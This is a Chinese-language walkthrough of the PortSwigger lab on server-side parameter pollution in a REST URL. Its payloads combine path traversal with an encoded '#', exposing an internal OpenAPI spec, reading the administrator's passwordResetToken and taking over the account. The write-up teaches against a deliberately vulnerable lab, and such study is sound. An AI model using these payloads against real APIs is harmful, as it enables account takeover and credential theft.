> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md).
# REST URL 中的服务器端参数污染
面向 PortSwigger Web Security Academy 实验室的 REST URL 中的服务器端参数污染笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。
### 在 REST URL 中利用服务器端参数污染
**实验目标**/ 以管理员身份登录\*\*并删除用户**carlos**.
#### 1. 功能 « 忘记密码 »
你访问“忘记密码”功能并输入用户名 **administrator**.
发送到服务器的请求如下：
```bash
POST /forgot-password
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=administrator
```
获得的答案：
```json
{
"result":"*****@normal-user.net",
"type":"email"
}
```
#### 2. 客户端 JavaScript 代码分析
JavaScript 代码显示 `用户名` 该值在查询中原样发送，没有额外的服务器验证。
```javascript
let forgotPwdReady = (callback) => {
if (document.readyState !== "loading") callback();
else document.addEventListener("DOMContentLoaded", callback);
}
function urlencodeFormData(fd){
let s = '';
function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
for(let pair of fd.entries()){
if(typeof pair[1]=='string'){
s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
}
}
return s;
}
const validateInputsAndCreateMsg = () => {
try {
const forgotPasswordError = document.getElementById("forgot-password-error");
forgotPasswordError.textContent = "";
const forgotPasswordForm = document.getElementById("forgot-password-form");
const usernameInput = document.getElementsByName("username").item(0);
if (usernameInput && !usernameInput.checkValidity()) {
usernameInput.reportValidity();
return;
}
const formData = new FormData(forgotPasswordForm);
const config = {
method: "POST",
headers: {
"Content-Type": "x-www-form-urlencoded",
},
body: urlencodeFormData(formData)
};
fetch(window.location.pathname, config)
.then(response => response.json())
.then(jsonResponse => {
if (!jsonResponse.hasOwnProperty("result"))
{
forgotPasswordError.textContent = "Invalid username";
}
else
{
forgotPasswordError.textContent = `请检查您的电子邮件: "${jsonResponse.result}"`;
forgotPasswordForm.className = "";
forgotPasswordForm.style.display = "none";
}
})
.catch(err => {
forgotPasswordError.textContent = "Invalid username";
});
} catch (error) {
console.error("Unexpected Error:", error);
}
}
const displayMsg = (e) => {
e.preventDefault();
validateInputsAndCreateMsg(e);
};
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
});
```
这表明该值可以被解释为后端 API 路径的一部分。
#### 3. 尝试污染 `用户名` 参数
* 添加了一个 `#` 到参数末尾：
```bash
&username=administrator#
```
答案：
```json
{
"type": "error",
"result": "无效路由。请参阅 API 定义"
}
```
* 尝试跨越路径：
```bash
&username=../../../../administrator
```
答案：来自 API 服务器的 Not Found 错误。
{% code overflow="wrap" %}
```json
{
"error": "来自 API 服务器的意外响应:/n/n/n /n 未找到<//title>/n<//head>/n<body>/n <h1>未找到<//h1>/n <p>您请求的 URL 未找到。<//p>/n<//body>/n<//html>/n"
}
```
{% endcode %}
<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8767c745bd790ed519cc9c3aa20c5375b126e84%2F%7BF382259F-3EE6-4C0D-B68A-346D4872FF50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>
#### 4. OpenAPI 文档发现
结合目录穿越和 `#` 字符：
{% code overflow="wrap" %}
```bash
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=../../../../administrator%23
```
{% endcode %}
它返回 `openapi.json` 且响应长度很大。
<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad653ab9bec0585c4ab313a8ce95b430e45dd803%2F%7BB2BA4C55-BA6E-47B8-BFE7-1DE9A39BFF09%7D.png?alt=media" alt=""><figcaption></figcaption></figure>
* 错误信息：
```json
{
"error": "来自 API 服务器的意外响应:/n{/n /"openapi/": /"3.0.0/",/n /"info/": {/n /"title/": /"用户 API/",/n /"version/": /"2.0.0/"/n },/n /"paths/": {/n /"/api/internal/v1/users/{username}/field/{field}/": {/n /"get/": {/n /"tags/": [/n /"users/"/n ],/n /"summary/": /"按用户名查找用户/",/n /"description/": /"API 版本 1/",/n /"parameters/": [/n {/n /"name/": /"username/",/n /"in/": /"path/",/n /"description/": /"用户名/",/n /"required/": true,/n /"schema/": {/n ..."
}
```
<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-590adde3d9fcbe5f92197d1b8e59847ee854185f%2F%7BAD8A2F03-18CC-4907-BC34-E6CD684F847E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>
服务器返回一个包含 **OpenAPI** 文档，显示可用的内部路由，包括：
```bash
/api/internal/v1/users/administrator/field/{field}
```
#### 5. 内部 API 利用
该 `用户名` 将参数调整为直接针对该 API：
```bash
administrator/field/test%23
```
```json
{
"type": "error",
"result": "出于安全原因，此版本的 API 仅支持 email 字段"
}
```
<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f3301b0536b887bec00d9da9f43676bf7634204%2F%7BC6857E93-D0F9-45F6-A0E9-FC328AA41C03%7D.png?alt=media" alt=""><figcaption></figcaption></figure>
包含管理员邮箱的有效答案。
```bash
&username=administrator/field/email%23
```
<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07eb54c2934c1c66d320f2a5fc56cc187c2823d4%2F%7B82179552-D1A4-4ECF-9DAB-3B452D213B91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>
#### 6. 重获重置令牌
```bash
../../v1/users/administrator
```
<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9dbd58c73bb5bc886092f372dde4228ea5d8780%2F%7B3F19E1E1-9AD0-4B73-860F-C0175B591C43%7D.png?alt=media" alt=""><figcaption></figcaption></figure>
测试 API 暴露的其他字段：
<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7dd8af1e52de6d94a175fc61773c91dfe168b6a8%2F%7BB1D6DF4D-805A-48C5-89A3-085CC1C9D450%7D.png?alt=media" alt=""><figcaption></figcaption></figure>
```bash
&username=../../v1/users/administrator/field/passwordResetToken%23
```
答案：
```json
{
"type": "passwordResetToken",
"result": "guw2qorqvfcpqohuv92wb460x4da485o"
}
```
<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fcb0a4caaa777789d2e09fe7910daeef8d79e7b%2F%7BCB976023-096D-4FFB-ABB7-4F67547EB0EA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>
#### 7. 重置管理员密码
恢复的令牌用于访问重置页面：
```bash
/forgot-password?passwordResetToken=guw2qorqvfcpqohuv92wb460x4da485o
```
这使你可以为 **administrator**，然后连接并删除用户 **carlos**.
<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae4038590ae16e9e56175a3491081ddcfe0ea41d%2F%7B62FC6673-1BF3-48BD-97E4-83470BC3F504%7D.png?alt=media" alt=""><figcaption></figcaption></figure>
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